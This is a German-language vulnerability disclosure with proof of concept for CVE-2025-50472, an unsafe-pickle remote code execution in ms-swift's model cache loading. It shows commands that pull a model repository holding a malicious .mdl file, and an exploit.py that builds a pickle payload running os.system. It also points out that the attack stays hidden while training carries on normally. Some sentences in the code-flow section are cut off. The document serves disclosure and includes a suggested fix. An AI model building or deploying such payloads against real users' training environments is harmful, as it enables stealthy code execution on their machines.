
Proof-of-Concept-Exploit für CVE-2025-50472, eine Deserialisierungs-RCE-Sicherheitslücke im ModelFileSystemCache von ModelScope ms-swift über bösartige .mdl-Dateien.
Ich habe ein Code-Repository mit einer bösartigen .mdl-Datei zu Testzwecken auf ModelScope hochgeladen. Sie kann während des Tests direkt verwendet werden. Der Link lautet: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
Die .mdl-Datei enthält eingebetteten bösartigen Code, jedoch wird auf ModelScope keine Sicherheitswarnung angezeigt.
PoC-Code:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
Das Verfahren zur Reproduktion des Problems ist wie folgt:
Das Modell wird heruntergeladen
Nachdem der bösartige Code ausgeführt wurde, läuft das Training normal weiter, ohne Unterbrechung
Die bösartige Nutzlast wird erfolgreich ausgeführt
Die Bibliothek modelscope/ms-swift bis einschließlich Version 2.6.1 ist anfällig für beliebige Codeausführung durch Deserialisierung nicht vertrauenswürdiger Daten innerhalb der Funktion load_model_meta() der Klasse ModelFileSystemCache(). Angreifer können beliebigen Code und Befehle ausführen, indem sie eine bösartige serialisierte .mdl-Nutzlast erstellen und die Verwendung von pickle.load() auf Daten aus potenziell nicht vertrauenswürdigen Quellen ausnutzen. Diese Schwachstelle ermöglicht Remote-Codeausführung (RCE), indem Opfer getäuscht werden, während eines normalen Trainingsprozesses einen scheinbar harmlosen Checkpoint zu laden, wodurch Angreifer beliebigen Code auf dem Zielrechner ausführen können.
Beachten Sie, dass die Nutzlastdatei eine versteckte Datei ist, was es dem Opfer erschwert, Manipulationen zu erkennen. Wichtiger noch: Während des Modelltrainings, nachdem die .mdl-Datei geladen wurde und beliebigen Code ausführt, bleibt der normale Trainingsprozess unbeeinträchtigt, sodass der Benutzer die Ausführung von beliebigem Code nicht bemerkt.
Detaillierte Beschreibung der Schwachstelle: Die Schwachstelle resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet pickle.load, um die versteckte Cache-Datei zu laden, und ist anfällig für Codeausführung.
Codeablauf von der Eingabe bis zur anfälligen Bedingung:
~/.cache/modelscope/hub/xx/xx gespeichert, wo sich eine .mdl-Cache-Datei im Modellverzeichnis befand, die grundlegende Informationen wie den Modellnamen enthielt.caching.py die .mdl-Datei deserialisierte, wurde der darin eingebettete bösartige Code ausgeführt.Einschleusungspunkt: Die Schwachstelle tritt an der Stelle auf, an der pickle.load aufgerufen wird.
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Vorgeschlagene Korrekturen: Bei der Verarbeitung von Konfigurationsdateien (nicht von Modelldateien) wird empfohlen, sicherere Dateiparsing-Methoden wie yaml.safe_load(yaml_file) oder json.load zu verwenden, um das Risiko beliebiger Codeausführung zu mindern.
exploit.py aus, um eine bösartige Cache-Datei .mdl zu erstellen, die ein Verzeichnis auf dem System des Opfers anlegt:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Ersetzen Sie die ursprüngliche .mdl-Datei im Modellverzeichnis durch die oben erstellte bösartig manipulierte Datei.
Wenn während des Trainings der Parameter model_id_or_path angegeben wird, um auf ein lokales Modellverzeichnis zu verweisen, kann eine manipulierte .mdl-Datei im angegebenen Pfad zu Remote-Codeausführung (RCE) führen.
Wichtig: Eine solche Änderung stört den normalen Trainingsablauf nicht, was den RCE-Angriff heimlich und für Benutzer schwer erkennbar macht.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) und Yu Rong(戎誉)